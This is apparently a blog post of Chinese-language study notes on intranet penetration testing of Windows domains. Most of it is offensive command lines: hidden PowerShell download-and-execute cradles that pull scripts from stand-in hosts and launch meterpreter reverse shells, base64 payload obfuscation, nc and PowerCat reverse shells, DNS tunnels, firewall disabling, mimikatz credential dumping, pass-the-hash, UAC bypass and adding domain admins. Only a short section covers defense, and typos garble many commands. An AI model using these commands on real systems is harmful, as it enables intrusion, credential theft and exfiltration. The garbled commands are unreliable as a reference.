1. 首页
  2. 渗透测试

内网安全读书笔记

内网安全读书笔记

内网渗透测试基础

局域网(Local Area NetWork LAN)
工作组(Work Group)
域(Domain)

活动目录主要提供以下功能

账号集中管理
软件集中管理
环境集中管理
增强安全性(统一杀毒等)
更可靠、更短的宕机时间
  • 安全域的划分

划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。

网络访问控制策略(NACL)
DMZ(隔离区)

  • 主机平台常用工具

Kali LInux

Wce(windows平局管理器->列出登陆会话、添加修改列出和删除关联凭据(LM Hash、NTLM hash、明文密码和kerberos票据))

mimikatz

Responder(不仅用于嗅探网络内所有的LLMNR 和获取主机的信息、还提供多种渗透测试环境和场景、包括https、SMB、sql server、ftp、ldap、POP3等)

DSHash(从NTDSXtract中提取用户的易于理解的散列值)

Nishang

Empire

ps_encoder.py(使用base64编码封装的powershell命令包)

smbexec(使用Samba工具的快速Psexec类工具)

后门制造工厂

Veil

Cobalt Strike

Windows

nmap 
wireshark
putty
sqlmap
burp
hydra

Getif(收集snmap设备信息)

Cain&&Abel(密码恢复工具、通过嗅探网络,破解加密密码,恢复无线网络密钥显示密码框、发现缓存中的密码、分析路由信息、恢复各种密码和凭据)

Powershell

Get-help/$PSVersionTable.PSVERSION 查看powershellb版本

Get-Executionpolicy 查看执行策略
Restricted 脚本不能运行默认
RemoteSigned 本地可以运行
Allsigned 当脚本由受信任的发布者签名时运行
Unrestricted 允许所有脚本运行

Set-ExecutionPolicy XX 设置执行策略

  • 常用参数
-ExecutionPolicy Bypass (-Exec Bypass) 绕过执行安全策略

-WindowsStyle Hidden 隐藏窗口

-NonInteractive (-NonI) 非交互模式

-noexit 执行后不退出shell
-NoLogo 启动不显示版权表示的powershell

-enc 允许传入一个base64编码过的powershell脚本字符串作为参数
  • 绕过本地权限并执行
Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1 命令行环境下绕过本地权限执行

powershell.exe -exec bypass -Command "& {import-Module C:\syst1m.ps1; Invoke-AllChecks}"
目标本地执行脚本
  • 下载网络上脚本绕过本地权限执行
Powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet,WebClient).DownloadString("xxx.ps1");[Parameters]

Powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet,WebClient).DownloadString("http://xxx.com/ps.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -lport 80
  • 使用base64混淆
echo "IEX(New-ObjectNet,WebClient).DownloadString("http://xxx.com/ps.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -lport 80 -Force" >raw.txt 

chmod +x ps_encode.py

./ps_encode.py -s raw.txt

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc xxxx

内网信息搜集

收集本机信息

ipconfig /all 获取本机网络配置信息
systeminfo | finder /B /C:"os Version" 操作系统和版本信息

echo %PROCESOR_ArCHITECTURE% 系统系统结构

wmic_product_get_name,version 结果输出到文本

Powershell.exe "Get-WmiObject -class Win32_Product | Select-Object -Property name,version" powershell收集

wmic service list brief 查询本机服务信息

tasklist 当前进程和进程用户

wmic process list brief 进程信息

wmic startup get command,caption 查看启动程序信息

schtasks /query /to LIST /V 查看计划任务

net statistics workstation 查看主机开机时间

net user 查看用户列表

net localgroup administrators 获取本地管理员信息

query user || qwinsta

netstat -ano 查询端口列表

systeminfo 查询补丁列表
wmic qfe get Caption,Descript,HotFixID,InstalledOn 查询补丁

net share 查询本机共享列表
wmic share get name,path,status

route print 查询所有可用接口的ARP缓存表
arp -a 
  • 查询防火墙相关配置
netsh firewall set opmode disable 关闭防火墙(03之前)

netsh advfirewall set allprofiles state off(关闭防火墙 03之后)

netsh firewall show config 查看防火墙配置

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable(03之前允许指定程序全部连接)

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow programe="C:/nc.exe"(允许指定程序进入(03之后))

netsh advfirewall add rule name="Allow nc" dir=out action=allow program="c:\nc.exe"(03之后允许指定程序退出)

netsh advifirewall firewall add rule name="Remote Desktop" protocol=Tcp dir=in localport=3389 action=allow 允许3389放行

netsh advifirewall firewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志存储位置
  • 查看代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Internet Setting" 查看127.0.0.1 1080端口情况
  • 查询并开启远程连接服务
REG QUERY "HKEY_LOCAL_MACHINE|SYSTEM|CurrentControlSet\Control\TerminalServer|WinStation\RDP-TCP" /V PortNumber 查看远程连接端口

WMic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 03开启3389
server08和12开启远程连接
Wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where call setallowtsconnections 1

Wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminaName='RDP-TCP') call setallowtsconnections 1

red add "HKLM\SYSTEM\CURRENT|CONTROLSET\CONTROL\TERMINAL SERVER" /V fSingleSessionPerUser /t REG_DWORD /d 0 /f
  • 自动收集信息
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

wmic脚本自动收集
  • Empire
usemoudle situational_awareness/host/winenum 本机用户、域组成员、密码设置时间、共享信息等

situational_awareness/host/computerdetails 模块包含了系统中所有有用的信息

查询当前权限

  • 查询当前权限
whoami 查看当前权限
whoami /all 查询sid
net user XXX /domain 查询指定用户信息
  • 判断是否存在域
ipconfig /all
  • 查看系统详细信息
systeminfo
  • 查询当前登陆域及用户信息
net config workstation
  • 判断主域
net time/domain

探测域内存活主机

  • NetBIOS
nbt.exe 192.168.1.1
  • ICMP
for /L %I in (1,255) Do @ping -W l -n 192.168.1.%I | findstr "TTL="
  • ARP
arp.exe -t 192.168.1.0/20
arp-scan工具

usemodule situational_awarencess/network/arpscan Empire

powershell.exe -exec bypass -Command "& {Import-Moudle c:\arpsacan.ps1};Invoke-Arpscan -CIDR 192.168.1.0/20}" >> c:\log.txt Nishang中的Invoke-ARPScan.ps1
  • 常规TCP/UDP
ScanLine

扫描域内端口

  • telnet
  • S扫描器
  • Metasploit
auxiliary/scanner.portscan/tcp
  • PowerSploit的INvoke-portscan.ps1脚本
powershell.exe -nop -exec -bypass -c "IEX(New-ObjectNet.Webclint).DownloadString('http:xxx.com/a.ps1');Invoke-Portscan"
  • Nishang的Invoke-PortScan模块
Invoke-Portscan -StartAddress 192.168.250.1 -EndAddredd 192.168.250.255 -ResolveHost

收集域内信息

net view /domain 查询域

net view /domain:HACKE

net group /domain 用户组列表

net group "domain computer" domain 查询所有域成员计算机列表

net accounte /domain 域密码策略

nltest /domain_trusts 域信任信息

查找域控制器

  • 查看域控制器机器名
nltest /DCLIST:hacke
  • 查看域控制器主机名
NSlookup -type=SRV _ldap._tcp
  • 查看当前时间
net time /domain
  • 查看域控制器组
net group "Domain Controllers" /domain
  • 域控制器机器名
netdom query pdc

获取域内用户和管理员信息

  • 查询所有域用户列表
net user /domain
  • 获取域内用户的详细信息
wmic useraccount get /all
  • 查看存在的用户
dsquery user
  • 常用dsquery命令
dsquery computer 查找目录中的计算机
contact 联系人
subnet 子网
group 组
ou 组织单位
site 站点
server  AD DC/LDS实例
user 用户
quota 配额规定
partition 分区
* 任何对象
  • 查询本地管理员用户
net localgroup administrators
  • 查询域管理员用户
net group "domain admins" /domain 域管理员用户

net group "ENterprise Admins" /domain 管理员用户组

定位域管理员

net session 看谁使用了本地资源

psloggedon.exe
PVEFindADUser.exe
netsess.exe
hunter
Netview
PowerView

  • psloggedon.exe

原理检查HKEY_USERS的key

下载地址
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon [-] [-l] [-x] [computer|username]

psloggedon \\DC
  • PVEFindADUser.exe
下载地址
https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
-current/-current['username'] 所有用户
-last/-last['username'] 最后登陆用户
PVEFindADUser.exe -current
  • netview.exe(绝大部分功能无需管理员权限)
下载地址
https://github.com/mubix/netview
netview.exe 参数
-f filename.txt 指定要提取主机列表的文件
-e filename.txt 指定要排除的主机名的文件
-o filename.txt 将所有输出重定向到指定的文件
-d domain 指定要提取主机列表的域
-g group 指定要锁搜的组名
-c 对已找到的共享目录/文件的访问权限进行检查
  • Nmap的nes脚本(无需管理员权限)
下载地址
https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
  • PowerView
下载地址
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Invoke-StealthUserHunter 
Invoke-UserHunter
  • Empire
usemoudle situational_awareness/network/powerview/user_hunter

查找域管理员

  • 本机检查
net group "Domain Admins" /domain 获取域管理员列表

tasklist /v 列出本机所有进程及进程用户
  • 查询域控制器的域用户会话
net group "Domain Controllers" /domain 查询域控制器列表

net group "Domain Admins" /domain收集域管理员列表
  • 收集所有活动域的会话列表
NetSess -h
  • 交叉引用域管理员列表与活动会话列表

确定哪些IP地址有活动域令牌

1.域控制器列表dcs.txt 域管理员列表sessions.txt

FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h % i 2>null >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

2.脚本

https://github.com/nullbind/Other-Projects/tree/master/GDA
  • 查询远程系统中运行的任务(通过共享的本地管理员账户运行)
net group "Domain Admins" /domain 查询与管理员列表

目标域系统列表添加到ips.txt文件中
收集的域管理员列表添加到names.txt中

FOR /F %i (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL >output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n >NUL && echo [!] %n was found running a process on %i && pause
  • 扫描远程系统的NetBIOS信息
域系统列表 ips.txt
域管理员列表 admins.txt

for /F % i in (ips.txt) do @echo [+] Checking % i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL &&echo [!] %n was found logged into %i

Nbtscan工具
for /F % i in (ips.txt) do @echo [+] Checking % i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL &&echo [!] %n was found logged into %i

域管理员模拟方法

  • Incognito

PowerView

下载地址
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Get-NetDomain 获取当前用户所在域的名称
Get-NetUser 获取所有用户的详细信息
Get-NetDomainController 获取所有域控制器的信息
Get-NetComputer 获取域内所有机器的详细信息
Get-NetOU 获取域中的OU信息
Get-NetGroup 获取所有域内组和组成员信息
Get-NetFileServer 根据spn获取当前域使用的文件服务器信息
Get-NetShare 获取域内所有的网络共享信息
Get-NetSession 获取指定服务器的会话
Get-NetRDPSession 获取服务器的远程连接
Get-NetProcess 获取远程主机的进程
Get-UserEvent 获取指定用户的日志
Get-ADObject 获取活动目录的对象
Get-NetGPO 获取域内所有的组策略对象
Get-DomainPolicy 获取域默认策略或控制器策略
Invoke-UserHUNter 获取域用户登陆的计算机信息以及该用户是否有本地管理员权限
Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器

BloodHound

https://github.com/BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-win32-x64.zip
sharphound获取BloodHound需要的信息

https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

SharpHound.exe -c all

敏感数据的防护

  • office
高版本office可通过ProcDump获取密码

隐藏通信隧道技术

隐藏通信隧道基础知识

判断内网连通性

  • ICMP
ping xxx.com/192.
  • TCP
nc -zv 192.168.1.7 80
  • http
curl baidu.com 80
  • DNS
nsllokup
nslookup www.baidu.com ip
dig
dig ww.baidu.com -A
  • 代理情况
ping -n l -a ip

网络层隧道(ipv6、icmp)

  • IPV6
socat
6tunnel
nt6tunnel
  • ICMP
关闭本地icmp应答
Sysctl -w net.ipv4.icmp_echo_ignore_all=1
icmpsh
https://github.com/inquisb/icmpsh.git

PingTunnel
icmptunnel
powershell icmp

传输层隧道技术(tcp、udp、常规端口转发)

  • lcx
目标机器
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389

vps
lcx.exe -listen 4444 5555

本地端口转发
lcx -tran 53 目标主机ip地址 3389
  • netcat(nc)

PowerCat(nc的powershell版本)

  • 导入
Import-Moudle powercat.ps1
  • nc正常连接PowerCat
目标
powercat -l -p 8080 -c cmd.exe -v 

本地
netcat 192.168.130 8080 -vv
  • nc反向链接PowerCat
本地
nc -l -p 8888 -vv
目标
powercat -c 192.xxx.xxx.xxx -p 8888 -v -e cmd.exe
  • PowerCat DNS 隧道
安装dnscat
cd dnscat2/server/
gem install bundler
bundle install

服务端
ruby dnscat2.rb ttpowercat.test -e open --no-cache

目标机

powercat -c 192.xxx.xxx.xxx -p 53 -dns ttpowercat.test -e cmd.exe
  • PowerCat 生成payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1 上传
powercat -c 10.xxx.xxx.xxx -p 8080 -v 监听

编码
powercat -c xxx.xxx.xxx.xxx -p 9999 -ep -ge
监听
powercat -l -p 9999 -v

应用层隧道技术

ssh

  • ssh参数
-C 压缩传输、提高传输速度
-f 将ssh传输转入后台执行、不占用当前的shell
-N 建立静默链接(建立了连接、但是看不到具体会话)
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS代理)
-F 指定ssh端口
  • 本地转发

vps kali linux(192.168.1.4) web服务器(192.168.1.11/1.1.1.16) 数据库服务器(1.1.1.10) 域控制器(1.1.1.2) vps上 ssh -CfNg -L 1153(vps端口):1.1.1.10(目标主机):3389(访问端口) rdesktop 127.0.0.1:1153
  • 远程转发
web可以访问外网

vps kali linux(1.1.1.4)
web(1.1.1.200)
数据库(1.1.1.10)
域控制器(1.1.1.2)

web服务器上执行
ssh -CfNg -R 3307(vps端口):1.1.1.10(目标主机):3389 [email protected]

rdesktop 127.0.0.1:3307
  • 动态转发

vps kali linux(192.168.1.4) web服务器(192.168.1.11/1.1.1.16) 数据库服务器(1.1.1.10) 域控制器(1.1.1.2) ssh -CfNg -D 7000 [email protected] 浏览器设置代理

http/https协议

  • reGeorg
https://github.com/sensepost/reGeorg

python reGeorgSocksProxy.py -u http://xxx:8080/tunne;.jsp -p 9999
proxyChains 代理访问
  • meterpreter
  • tunna

DNS

  • 查看DNS的连通性
cat /etc/resoiv.conf|grep -v '#' 查询内部域名及IP地址

nslookup hacks.testlab 内部dns连通性

nklookup baidu.com 外部dns连通性
dnscat2(支持多个会话)
https://github.com/iagox86/dnscat2
  • 部署域名解析
创建A记录
域名A记录指向vps服务器

创建ns记录(设置子域名dns服务器的)
dnsch子域名解析结果指向域名
  • 安装dnscat2服务端
sudo ruby ./dnscat2.rb vpn.xxx.com -e open -c syst1m.com --no-cache

sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533.type=txt --secret=syst1m.com
  • 目标主机安装客户端
make install 编译

dnscat.exe --ping vpn.xxx.com 测试连通性

dnscat.exe --dns domain=vpn. --secret syst1m.com

dnscat --dns server=ip,port=53,type=txt --secret=syst1m.com
  • powershell版本
https://github.com/lukebaggett/dnscat2-powershell

IMport-Moudle .\dnscat2.ps1或者IEX(New-Object System.Net.Webclient).DownloadString('')

开启dnscat2-powershell服务
start-Dnscat2 -Domain vpn.xxx.com --DNSServer 1.x.x.x

IEX加载脚本方式(内存中打开dnscat客户端)
powershell.exe -nop -w hidden -c (IEX(New-Object System.Net.Webclient).DownloadString(''),start-Dnscat2 -Domain vpn.xxx.com --DNSServer 1.x.x.x)
  • 参数
exec 打开程序
download 下载文件
help 帮助
clear清屏
delay 修改远程响应延时
shell 得到一个反弹shell
kill 切断通道
listen 类似ssh -l参数 listen 0.0.0.0:53 192.168.1.1 3389
ping 用于确认机器是否在线
windows -i 连接某个通道

iodine(支持linux、mac、windows)

https://github.com/Al1ex/iodine
  • 安装服务端
iodined -f -c -P syst1m 192.168.0.1 vpn.xxx.com -Dp
  • 安装客户端
iodine -f -p syst1m vpn.xxx.com -M 200
  • 使用dns隧道
mstsc 10.0.0.1:3389

SOCKS代理

  • EarthWorm
1.正向sockes5服务器
ew -s ssocked -l 888

2. 反弹sockes5服务器(公网vps)
ew -e rcsocks -i 1080 -e 888
ew -s rssocks - d xxx.xxx.xxx.xxx -e 888 (内网web服务器)
  • reGeorg
  • sSocks
  • SocksCap64
  • Proxifier
  • ProxyChains
vi /etc/proxychains.conf
cp /usr/lib/proxychains3/proxyresoly /usr/bin
proxychains firefox

压缩数据

####RAR
– 以rar格式压缩解压

压缩
rar.exe a -k -r- s -m3 E:\webs\1.rar E:|webs

解压
Rar.exe e E:\webs\1.rar
  • 分卷压缩/解压
压缩
Rar.exe a -m0 -r -v20m E:\test.rar E:\API

解压
Rar.exe x E:\test.part01.rar e:\xl

####7-zip

  • 普通压缩
压缩
7z.exe a -r -p12345 E:\webs\1.7z e:\webs

解压
7z.exe x -p12345 E:\webs\1.7z -oE:\x
  • 分卷压缩
压缩
7z.exe -r -vlm -padmin a e:\test.7z E:\API

解压
7z.exe x -padmin E:\test.7z.001 -oE:\xl

上传和下载

  • Ftp上传
本地vps搭建ftp服务传输
  • VBS上传
1.输入命令
    Set Post=CreateObject("Msxm12.XMLHTTP")>>downloads.vbs
    set shell = CreateObject("Wscript.Shell")
    Post.OPen "GET","http://server_ip/target.exe",0
    Post.Send()
    Set aGet = CreateObject(ADODB.stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    aGet.Write(Post.responseBody)
    aGet.SaveToFile "c:\test\target.exe"

2.执行脚本
    Cscript download.vbs
  • 利用Debug上传(只支持小于64kb文件)
kali linix位置
/usr/share/windows-binaries
转为十六进制

wine exe2bat.exe ew.exe ew.txt
  • Nishang

> exetotext.ps1

转换
.\ExetoText c:msf.exe c:msf.txt

下载并执行文本文件
Download_Execute http://xxx.xxx.xx.xx/msf.txt
  • bitsadmin(xp之后自带)
  • powershell下载

权限提升分析及防御

系统内核溢出漏洞提权

通过手动执行命令发现缺失补丁

  • 补丁参考

https://github.com/SecWiki/windows-kernel-exploits

whoami /groups 查看当前权限
systeminfo 查看补丁
Wmic qfe get Caption,Description,HotFixID,INstalledOn 列出已经安装的补丁

Caption,Description,HotFixID,INstalledOn | findstr /c:"KB3143141"  /c:"KB316902" 查找指定补丁
  • MS16-032.ps1(KB3139914)
Invoke-MS16-032 -APPlication cmd.exe -Commandline "/c net user 1 1 /add"

Invoke-MS16-032 -APPlication cmd.exe notpad.exe
  • 利用meatsploit发现缺失补丁
post/windows/gather/enum_patches模块
  • Windows Exploit Suggester
1. systeminfo 获取补丁情况
2. ./windows-exploit-suggester.py --update 下载安全公告数据库
3. pip install xlrd -upgrade 安装xlrd模块
4. ./windows-exploit-suggester.py -d xx.xls -i patches.txt
  • local_exploit_suggester模块(识别系统中可能被利用的漏洞)
post/multi/recon/local_exploit_suggester
  • powershell中Sherlock脚本
Import-Moudle c:\Sherlock.ps1
Find-AllVulns
  • Cobalt Strike(3.6以后)
elevate ms14-058 smb

Windows操作系统配置错误利用

系统服务权限配置错误

  • 下载地址
PowerUp
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
  • 运行脚本
powershell.exe -exec bypass -Command "& (Import_Moudle .\PowerUp.ps1; Invoke-Allcheck)"

powershell.exe -nop -exec bypass  -c "IEX (New-Object Net.Webclient).DownloadString('http://xxx.com/PowerUp.ps1'); Invoke-Allcheck"
  • 利用C#脚本添加用户(PowerUp的Install-ServiceBinary模块)
powershell.exe -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('c:\PowerUp.ps1');Install-ServiceBinary-ServiceName '服务名' -UserName syst1m -Password syst1m
  • 重启系统生效
  • 利用msf

service_permissions 模块 
利用目标机器上的每一个有缺陷的服务

注册表键AlwayslnstallElevated

  • 检测注册表键是否被设置
powershell.exe -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString("c:/powerupps1");Get-RegisterAlwaysInstallElevated 
  • 生成MSI文件
Write-UserAddMSI
  • 普通权限运行MSi文件

可信任服务路径漏洞

  • 检测漏洞

    “`
    wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v """
    </p></li>
    </ul>

    <pre><code class=""><br />- 检测是否有可写权限

    </code></pre>

    <p>icacls

    everyone 完全控制权限(所有用户都有修改这个文件的权限)
    M 修改
    F 完全控制
    CI 丛属容器将继承访问控制项
    OI 从属文件将继承访问控制项

    <pre><code class=""><br />- 重启服务

    </code></pre>

    恶意文件重命名上传

    sc stop service_name
    sc start service_name

    <pre><code class=""><br />- MSF模块

    </code></pre>

    exploit/windows/local/trusted_service_path

    set AutoRunScript migrate -f 自动迁移

    <pre><code class=""><br />#### 自动安装配置文件

    >可能包含用户名密码

    – 搜索配置文件

    </code></pre>

    dir /b /s c:\Unattend.xml

    “`

    msf
    post/windows/gather/enum_unattend
    

    计划任务

    • 查看计划任务
    schtasks /query /fo LIST /v
    
    • AccessChk
    http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
    
    accesschk “username” c:\windows\system32
    查看username用户对c:\windows\system32目录的操作权限
    
    找出某个驱动器下所有权限配置有缺陷的文件夹路径
    accesschk.exe–uwdqsUsersc:
    accesschk.exe–uwdqs"AuthenticatedUsers"c:
    
    找出某个驱动器下所有权限配置有缺陷的文件路径
    accesschk.exe–uwqsUsersc:*.*
    accesschk.exe–uwqs"AuthenticatedUsers"c:*.*
    
    accesschk.exe -uwcqv "Power Users" *  获取可以操作的服务名称信息
    sc qc kdc查询kdc服务详细信息
    
    查看某个服务的权限设置
    accesschk -cv [service name]
    

    Empire

    查找系统中的漏洞

    usemoudle privesc/powerup/allchecks
    excute
    

    组策略首选项提权

    • SYSVOL
    用来存放登陆脚本、组策略数据以及其他域控制器需要的域信息等
    
    C:\Windows\SYSVOL\DOMAIN\Policics
    
    • 常见组策略首选项(GPP)
    映射驱动器(Drivers.xml)
    创建本地用户
    数据源(DataSources.xml)
    打印机配置(Printers.xml)
    创建/更新服务(Services.xml)
    计划任务(ScheduledTasks.xml)
    

    组策略首选项提权

    • 创建组策略
    手动更新组策略
    gpupdate
    
    获取组策略凭据
    • 手动查找cpassword
    type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00c04FB984F9}\MACHINE\Perferences\Group\Groups.xml
    
    解密
    python gpprefdecryp.pt 密文
    
    • 使用PowerShell获取cpassword
    Get-GPPPassword.ps1
    
    • Metasploit
    post/windows/gather/credentials/gpp
    
    • Empire
    usemoudle privsec/gpp
    

    BypassUAC(用户账户控制)

    • bypassuac模块
    exploit/windows/local/bypassuac
    
    • Runas模块
    exploit/windows/local/ask 弹窗,点击反弹shell
    
    • Nishang中的Invoke-PsUACme模块
    Invoke-PsUACme -Verbose 使用sysprep方法并执行默认payload
    
    Invoke-PsUACme -method oobe -Verbose 使用oobs方法并执行默认payload
    
    Invoke-PsUACme -method oobe -payload "powershell -windiwstyle hidden -e YourEncodePayload" 使用-payload参数自行指定要执行的payload
    
    • Empire bypassuac模块
    1.usemoudle privesc/bypassuac
    
    2.bypassuac_wscript模块
    只适用于win7
    

    令牌窃取

    • 令牌分类
    Delegation Tokens 授权令牌 支持交互
    Impersonation Tokens 非交互式
    
    • 令牌窃取

    拥有meterpreter shell

    use incognito
    list-tokens -u 列出可用令牌
    impersonate_token 主机名\\用户名 假冒用户
    
    • Rotten Potato(快速模拟令牌)
    https://github.com/foxglovesec/RottenPotato.git
    
    use incognito
    list-tokens -u 列出可用令牌
    upload exe
    execute -HC -f rottenpotato.exe
    impersonate_token "NT AUTHORITY\\SYSTEM" 
    

    添加域管理员

    • cmd
    net user shuteer abc123 /ad /domain
    net group "domain admins shuteer /ad /domain"
    net group "domain_admins" /domain
    
    • meterpreter
    add_user shuteer abc123 -h 1.1.1.2
    add_group_user "Domain Admins" shuteer -h 1.1.1.2
    

    Empire下的令牌窃取

    1.creds

    • 查看密码
    creds 查看列出来的密码
    
    • 窃取令牌
    pth ID (ID为credID)
    
    • 查看当前进程是否有域用户进程窃取
    ps 查看进程
    steal_token  12004 获取令牌
    revtoself 恢复令牌权限
    

    无凭证条件下的权限获取

    • Responder
    https://github.com/SpiderLabs/Responder.git
    

    域内横向移动分析及防御

    常用windows远程连接和相关命令

    IPC

    • 建立ipc连接
    net use \\192.168.100.190\ipc$ "[email protected]" /user:administrator
    
    • ipc$利用条件
    (1)开启了135、445端口
    (2)管理员开启了默认共享
    
    • ipc$失败原因
    (1)用户名密码错误
    (2)目标没有打开ipc$默认共享
    (3)不能连接135、445端口
    (4)命令输入错误
    

    使用windows自带工具获取远程主机信息

    • dir命令
    dir
    
    • tasklist
    tsklist 列出进程
    

    计划任务

    • at(08之前)
    1.net time \\192.168.100.190
    2.copy calc.bat \\192.168.100.190\c$
    3.at \\192.168.100.190 4:11pm c:\calc.bat
    4.at \\192.168.100.190 7 /delete
    
    执行命令
    
    at \\192.168.100.190 4:41pm cmd.exe \c "ipconfig>c:/1.txt"
    type \\192.168.100.190\c$\1.txt
    
    • schtasks(08之后)
    schtasks /create /s 192.168.100.190 /tn /test /sc onstat /tr c:\calc.bat /ru system /f 创建计划任务(test 计划任务名字 启动权限为system)
    
    schtasks /run /s 192.168.100.190 / i /tn "test" 运行计划任务
    
    schtasks /delect /s 192.168.100.190 /tn "test" /F 删除计划任务
    
    net use 名称 /del /y 删除ipc$
    

    windows系统散列值获取

    单机密码抓取

    • GetPass
    • PwDump7
    • QuarksPwDump
    QuarksPwDump.exe --dump-hash-local
    
    通过SAM和system文件抓取密码
    • 导出SAM和System文件
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    
    • 读取SAM和system文件获得NTLM Hash
    mimikatz
    lsadump::sam /sam:sam.hive /system:system hive
    
    • mimikatzz直接读取本地SAM
    privilege::debug
    lsadump::sam
    
    使用mimikatz在线读取SAM文件
    mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
    
    使用mimikatz离线读取lsass.dmp文件
    • 导出lsass.dmp文件
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    • mimikatz导出散列值
    sekurlsa::minidump lsass.DMP 加载文件
    sekurlsa::logonPasswords full 导出密码散列
    
    Powershell
    • Nishang Get-PassHashes.ps1
    Import-Moudle .\Get-PassHashes.ps1
    GetPassHashs
    
    • powershell远程加载mimikatz获取散列值

    使用Hashcat获取密码

    • 下载
    make
    make install
    ./hashcat -h
    
    • Hashcats使用
    hashcat -b 测试当前机器基准速度
    -m 指定散列值
    -a number 破解模式
    
    hashcat -a 0 -m xx <hashfile> <zidian> <zidian2>
    
    • 破解Windows散列值
    hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.lst --username
    
    • 破解 WIFI握手包
    aircrack-ng <out.cap> -J <out.hccap>
    hashcat -m 2500 out.hccap dict.txt
    

    防御攻击者抓取明文密码

    • 设置Active Directory 2012 R2功能级别
    Protected User 添加<-组
    
    • 安装KB2871997
    安装补丁
    禁用Administrator账号
    
    • 修改注册表
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0  修改
    
    reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential 查询
    
    • 防止mimikatz抓密码
    删除拥有debug权限的本地管理员从Administrator组中
    

    哈希传递攻击

    • 哈希传递攻击
    mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:D(Fxxxxxx"
    
    • 使用AES-256哈希传递
    (1)抓取AES-256密钥
    mimikatz "privilege::debug" "sekurlsa::ekeys"
    
    (2)哈希传递
    mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /aes256:2381fXXXX"
    
    • 票据传递攻击
    mimikatz
    (1)导出票据
    mimikatz "privilege::debug" "sekurlsa::tickets /export"
    kerberos::purge 清除票据
    mimikatz "kerberos::ptt "c:\ticket.kirbi" 注入票据
    
    kekeo票据传递
    
    https://github.com/gentilkiwi/kekeo
    
    kekeo "tgt:ask /user:administrator /domain:pentest.com /ntlm:D9F9xxxx" 生成票据
    klist purge 清除票据
    kerberos::ptt [email protected]>[email protected]>kirbi
    

    PsExec使用

    psTools

    https://download.sysinternals.com/files/PSTools.zip
    
    • Sysyem权限的shell(-s)
    PsExec.exe -accepteula \\192.xxx.xxx.xxx -s cmd.exe
    
    • Administrator权限的
    Psexec.exe -accepteula \\192.xxx.xxx.xxx cmd.exe 
    
    • 账号密码远程连接
    psexec \\192.xxx.xxx.xxx -u administrator -p Aa123456 cmd.exe
    

    metasploit中的psexec

    exploit/windows/smb/psexec
    exploit/windows/smb/psexec_psh(powershell版本)
    

    WMI使用

    • 基本命令
    wmic /node:192.168.100.190 /user:administrator /password:Aa123456 process call create "cmd.exe /c ipconfig >ip.txt"
    
    type \\192.xxx.xxx.xx\c$\ip.txt
    
    • impacket中的wmiexec
    wmiexec.py administrator:[email protected]
    
    • wmiexec.vbs
    cscript.exe //noiogo wmiexec.vbs /shell 192.xxx.xxx.xxx administrator [email protected] 半交互shell
    
    cscript.exe wmiexec.vbs /cmd 192.xxx administrator Aa123456 "ipconfig"
    
    -wait 5000 ping/systeminfo等时间较长的命令
    
    -persist nc等不需要结果但需要运行的程序
    
    • Invoke-WmiCommand(powerSploit工具包)
    $user= "pentest\administrator"
    $password = ConvertTo-SecureString -String "a123456" -AsPlainText -Force
    $Cred = New-Object -TypeName System.Management.Automation.PsCredential
    远程执行命令
    $Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $cred - CompuerName 192.xxxx
